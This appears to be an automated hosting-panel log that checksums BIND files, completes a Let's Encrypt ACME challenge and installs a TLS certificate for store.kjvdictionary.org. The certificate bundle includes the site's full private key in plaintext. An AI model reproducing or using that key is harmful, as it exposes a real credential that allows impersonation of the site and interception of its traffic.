MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-27 13:25:44: Establishing a connection
2025-11-27 13:25:44: Establishing a connection
2025-11-27 13:25:44:
PUT: /tmp/pkp298109
#!/bin/bash
if [ -d "/var/www/kjvdictionary_store/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-27 13:25:44:
chmod 755 /tmp/pkp298109; /tmp/pkp298109; rm /tmp/pkp298109
2025-11-27 13:25:44:
0
2025-11-27 13:27:09: Establishing a connection
2025-11-27 13:27:09: Establishing a connection
2025-11-27 13:27:10:
PUT: /tmp/pkp737571
#!/bin/bash
if [ -d "/var/www/kjvdictionary_store/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-27 13:27:10:
chmod 755 /tmp/pkp737571; /tmp/pkp737571; rm /tmp/pkp737571
2025-11-27 13:27:10:
1
2025-11-27 13:27:11: Establishing a connection
2025-11-27 13:27:11:
PUT: /tmp/pkp870129
#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cat > Mr7EUfoCDOEupk5NC2ECwTGwnX8EtfNIMNjBIrTjFv8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Mr7EUfoCDOEupk5NC2ECwTGwnX8EtfNIMNjBIrTjFv8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Mr7EUfoCDOEupk5NC2ECwTGwnX8EtfNIMNjBIrTjFv8
2025-11-27 13:27:11:
chmod 755 /tmp/pkp870129; /tmp/pkp870129; rm /tmp/pkp870129
2025-11-27 13:27:11:
2025-11-27 13:27:14: Establishing a connection
2025-11-27 13:27:15:
PUT: /tmp/pkp375419
#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
rm Mr7EUfoCDOEupk5NC2ECwTGwnX8EtfNIMNjBIrTjFv8
2025-11-27 13:27:15:
chmod 755 /tmp/pkp375419; /tmp/pkp375419; rm /tmp/pkp375419
2025-11-27 13:27:15:
2025-11-27 13:27:15: Establishing a connection
2025-11-27 13:27:15:
PUT: /tmp/pkp171099
#!/bin/bash
temp_file=$(mktemp)
TARGET=82027fd7e0abdd79a359ee4b0d03e041.crt
cat > $temp_file <<'endmsg'
88:17:59:87:9b:0b:19:23:ae:10:50:1b:f5:fd:b6:da
-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBRAvR2mfAg3NdfkPCNSNa2veMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTI3MTIyODQ0WhcNMjYwMjI1MTIyODQzWjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMY+0VqytSTE6k06wbdOK2T1Q4/+vN0e5+RoFMHdmudRm+m5r2GG
TIqM3BfFuRL0Pw5YpoFfMUbncDn9kQn6Ok20YXcl8IPa/yrcdHDYLpMktWMhScwy
wr4mgmczTeBxUOKd6bXbkba4M0iiVxhvpHrWuD01cijkFhj7UAK4UadgqZqVaP6w
M3okxiAfGG7VQV4lahZ/LMZ/GfXlmS0409DiuW74oPLfZe+T2xks2ycJ7xd4hFJr
T61hLHwMQshhAhtf9sOzMpFdq/pa/HgyNeTKBF0+etWBNvv5rxvOztcPAOixZSS9
QwZ9TKlVfrnhcRTfLpSRoCnbJNTlYgFfeVcCAwEAAaOCAigwggIkMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUFQnhaafFHtT3+nqH/9cG/OgxRJIwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdzdG9yZS5ranZk
aWN0aW9uYXJ5Lm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzk1LmNybDCCAQUGCisGAQQB1nkC
BAIEgfYEgfMA8QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
msV/IcEAAAQDAEgwRgIhANOk0T6uVoXKwPiHlomoLdJ2sVfdXguwZKkWSijXyZhF
AiEAzZrc8h+VyAA0WqqOwnx1aM56qYcpo0zKFs2GfLE+YbgAdgDLOPcViXyEoURf
W8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZrFfyHeAAAEAwBHMEUCIGY5QqPknURj
IIZzzkMZblv4TyPGnzarx02qFoTpc59iAiEA5/vSJd3HrcLQRoxZQNNNKhF7eGrp
FI8DxsAEfEQaL2gwDQYJKoZIhvcNAQELBQADggEBACELrtkA3Wj5NU87hWrkU7sF
iKBiJc0nACeOVsBEo22mQ+nT+pgrPKpXBLRqf9vd9enBeEdFrKN3bKSVlZYTRBz6
AQKaTjEUrVSIBBiz9pUVI/EWuJp7Tff31A3W/74t6fDGrzD/xmEL0wA49Ie9CPZp
g02dTjTdh0lDmKPSwP7GERhHAgle6UCztkFkQzIrVEV3IHEBIvjsJQ66Ys6ZRt8Z
IJFokTBtwYsqBXxZcmWTwcvf69I1fYIuFbRmffE5yIq+lDurMqCfP+XRKgcA+zv+
FVXnaKZD3zf8kWhf7zFjN2md7h7ERFZV2/vY6PMVZP/lRt280hU3vBJIzqPL6As=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDGPtFasrUkxOpN
OsG3Titk9UOP/rzdHufkaBTB3ZrnUZvpua9hhkyKjNwXxbkS9D8OWKaBXzFG53A5
/ZEJ+jpNtGF3JfCD2v8q3HRw2C6TJLVjIUnMMsK+JoJnM03gcVDinem125G2uDNI
olcYb6R61rg9NXIo5BYY+1ACuFGnYKmalWj+sDN6JMYgHxhu1UFeJWoWfyzGfxn1
5ZktONPQ4rlu+KDy32Xvk9sZLNsnCe8XeIRSa0+tYSx8DELIYQIbX/bDszKRXav6
Wvx4MjXkygRdPnrVgTb7+a8bzs7XDwDosWUkvUMGfUypVX654XEU3y6UkaAp2yTU
5WIBX3lXAgMBAAECggEACEa3FsI/LbnKzk6Vp8FrrltO5sQLvm973t05gJ5vyRhv
GeLWn4urxlz7E0L95vyrZT3uNZhzxjIDTWh4laIMrRHKv96lm9uYq4Fomw1rZFkz
+V96ZTv5RVb2Ori5l5Uje1J8X0s7WhV2jqG4YRzIERjFuEhy66IaChDz1ik7v3EG
vPgrVU3MPGuOZrCM6smJxrX70glz+WatEnHlJ3cTMwcdnI7dCRQMlnn84R8Gd6be
MONvpfLYQL++uY+IW7etxI9iPDLUubOyxi44CS+MDs9196J0Ho+FxiuyCsaJgOhS
EIUNxZr4M+vnVsdGflO5A9ti37KGA4/xId2JaGvRgQKBgQD4joAQHwCpep1jpeCF
N4gT8OswtKVT0b766/nvToWKmrDWumtHnW6nZb9BT0NegCVbGz5/9a2OobfbPBiG
xGXdj8VgA5UadBpfnbbpgOZ/Q9x7mg60zGzKOQ4QD1NaBc8rkfcW2Ex/wPdYqy+5
RJWZ5Ldf9/2V3CfCTzwKtN7bWwKBgQDMLp5NIjMjPa1Lz60FbhbbEG5ijMXSs2Ez
JPbt3A8bWqgYQZtsDXqxk7HanuFKn6gl+RSKOJQBFWSASRj7VlEV7S4p4JRG2Rs0
+zzxVmYrjeKbj3+EEbiyl14gsFueCfeyFDC8FbpTGDoLse0jP/FUO7hkx30Mum4U
gUt3rVLGtQKBgCQtgaBXEt6YNT5iz3o0af8VCvaM5J99oQGexUM6t59EAsdOXP0Q
giGlYqAb7F9d4ZIQNhmj5b4j9cHYTm2XOoh0O7NM8i/mhEw0hYIZO/N8KiRneQqB
0rfgdBaMVIJ+4/egiElv9DqIGLh0Oj8KJ4g9zR8P1n4wjCzxIXkheGqPAoGBAKxq
jVhbEc2nbmf/JX7ZWMmBlYT4lK/4s5KJm05+Le+OXTWmaQUUWNANBPm0glAOg+IU
9AhIAIrtsqE1mLfcSrp2Py4zq2IsQPI7WVn9+Ga8+GceBLLUeB+u/FgkNCk/B3/D
1udsfZtfcNyhUbsbasETcQEBB5Kw9vWvvLeBj82lAoGANEPH29UWQAxjiaRhYBLa
qMMH25l+ih2kfFlZgt/1PoObao3VtaNMXwZU70ReWVIH9Zmtgj4oTou87F/v6VJe
BFQbOXE689M0j8Hppsd0TqWngwVNKjuPqh0tvxNQ5/GY4cuEwPMXWD+zM4P5EBCi
FHh9/I+anZJz/U53tVZDt5I=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-27 13:27:15:
chmod 755 /tmp/pkp171099; /tmp/pkp171099; rm /tmp/pkp171099
2025-11-27 13:27:15:
dir=/etc/ssl/certs
2025-11-27 13:27:15:
PUT: /tmp/pkp891884
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/kjvdictionary_store_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-27 13:27:15:
chmod 755 /tmp/pkp891884; /tmp/pkp891884; rm /tmp/pkp891884
